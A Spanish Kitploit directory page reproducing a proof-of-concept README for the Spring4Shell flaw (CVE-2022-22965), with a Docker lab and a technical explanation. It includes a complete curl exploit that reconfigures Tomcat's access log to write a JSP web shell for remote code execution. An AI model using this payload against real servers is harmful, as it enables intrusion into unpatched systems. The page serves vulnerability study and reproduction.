Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-22965-PoC — Exploit de prueba de concepto para CVE-2022-22965 (Spring4Shell) que demuestra la ejecución remota de código mediante la manipulación de Tomcat AccessLogValve. Incluye un entorno de reproducción basado en Docker y un análisis técnico detallado. | Kitploit
Herramientas/GitHubGitHub/kirill89/cve-2022-22965-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

Exploit de prueba de concepto para CVE-2022-22965 (Spring4Shell) que demuestra la ejecución remota de código mediante la manipulación de Tomcat AccessLogValve. Incluye un entorno de reproducción basado en Docker y un análisis técnico detallado.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
32211hace 4 añosRevisado por Kitploit
Compartir

PoC de CVE-2022-22965

Ejemplo mínimo de cómo reproducir CVE-2022-22965 Spring RCE.

Ejecutar usando docker compose

  1. Construye la aplicación usando Docker compose
    root@kitploit:~
    docker-compose up --build
    
  2. Para probar la aplicación navega a http://localhost:8080/handling-form-submission-complete/greeting
  3. Ejecuta el exploit
    root@kitploit:~
    ./exploits/run.sh
    
  4. El exploit va a crear el archivo rce.jsp en webapps/handling-form-submission-complete en el servidor web.
  5. Usa el exploit Navega a http://localhost:8080/handling-form-submission-complete/rce.jsp

Forma alternativa (orientada a depuración)

  1. Ejecuta el servidor Tomcat en docker

root@kitploit:~
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0

Añade -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" si quieres depurar de forma remota.

  • Construye el proyecto

    root@kitploit:~
    ./mvnw install
    
  • Despliega la aplicación

    root@kitploit:~
    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  • Escribe el exploit

    root@kitploit:~
    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    

    El exploit va a crear el archivo rce.jsp en webapps/handling-form-submission-complete en el servidor web.

  • Usa el exploit

    root@kitploit:~
    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    

    Ahora verás 123 en la terminal del contenedor. Reemplaza System.out.println(123) con tu payload para ejecutar código arbitrario.

  • Explicación técnica breve

    1. Spring sabe cómo vincular campos de formulario a objetos Java. En nuestro ejemplo, GreetingController maneja solicitudes POST en el endpoint /greeting y vincula los campos del formulario al objeto Greeting.
    2. También soporta la vinculación de campos anidados (p.ej. user.info.firstname). Consulta AbstractNestablePropertyAccessor como referencia.
    3. En nuestro ejemplo, la clase Greeting tiene dos campos id y content, pero en realidad también tiene una referencia al objeto Class. Podemos usar class.module.classLoader como clave de datos del formulario para acceder al classloader.
    4. En la corrección podemos ver que el cambio principal fue restringir el acceso a la mayoría de las propiedades del objeto Class, incluida la propiedad module.
    5. Este comportamiento nos permite establecer propiedades públicas de clases accesibles a través de una cadena de referencias anidadas desde la clase Greeting. Nada más. En la mayoría de los casos ni siquiera es peligroso porque no hay clases con campos públicos disponibles ni siquiera desde class.module.classLoader.
    6. Se convierte en un problema en el servidor Tomcat porque el classloader allí tiene el accesor getResources que nos permite continuar la cadena de referencias y acceder a una de las instancias de la clase AccessLogValve.
    7. Esta clase está diseñada para escribir registros. Cambiamos algunas propiedades para que escriba archivos con el nombre y contenido que elijamos. En este punto tenemos escritura arbitraria de archivos.
    8. Creamos un archivo jsp en la raíz de la carpeta de la aplicación con el payload malicioso. Dado que los jsp son ejecutados automáticamente por Tomcat, podemos navegar a él en el navegador y finalmente ejecutar el payload. Ahora es RCE.

    Condiciones

    El exploit funciona solo en Tomcat porque tiene un classloader especial. Aunque una cadena de referencias similar puede existir también en otros servidores de aplicaciones web. Simplemente aún no se ha descubierto.

    El exploit requiere Java 9 o superior porque la propiedad module se añadió en Java 9.

    Referencias

    • La parte del servidor está basada en el manual paso a paso de https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a
    • La parte del exploit está basada en el script de https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py
    • El aviso de Snyk sobre la vulnerabilidad está disponible aquí: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
    Descargar herramienta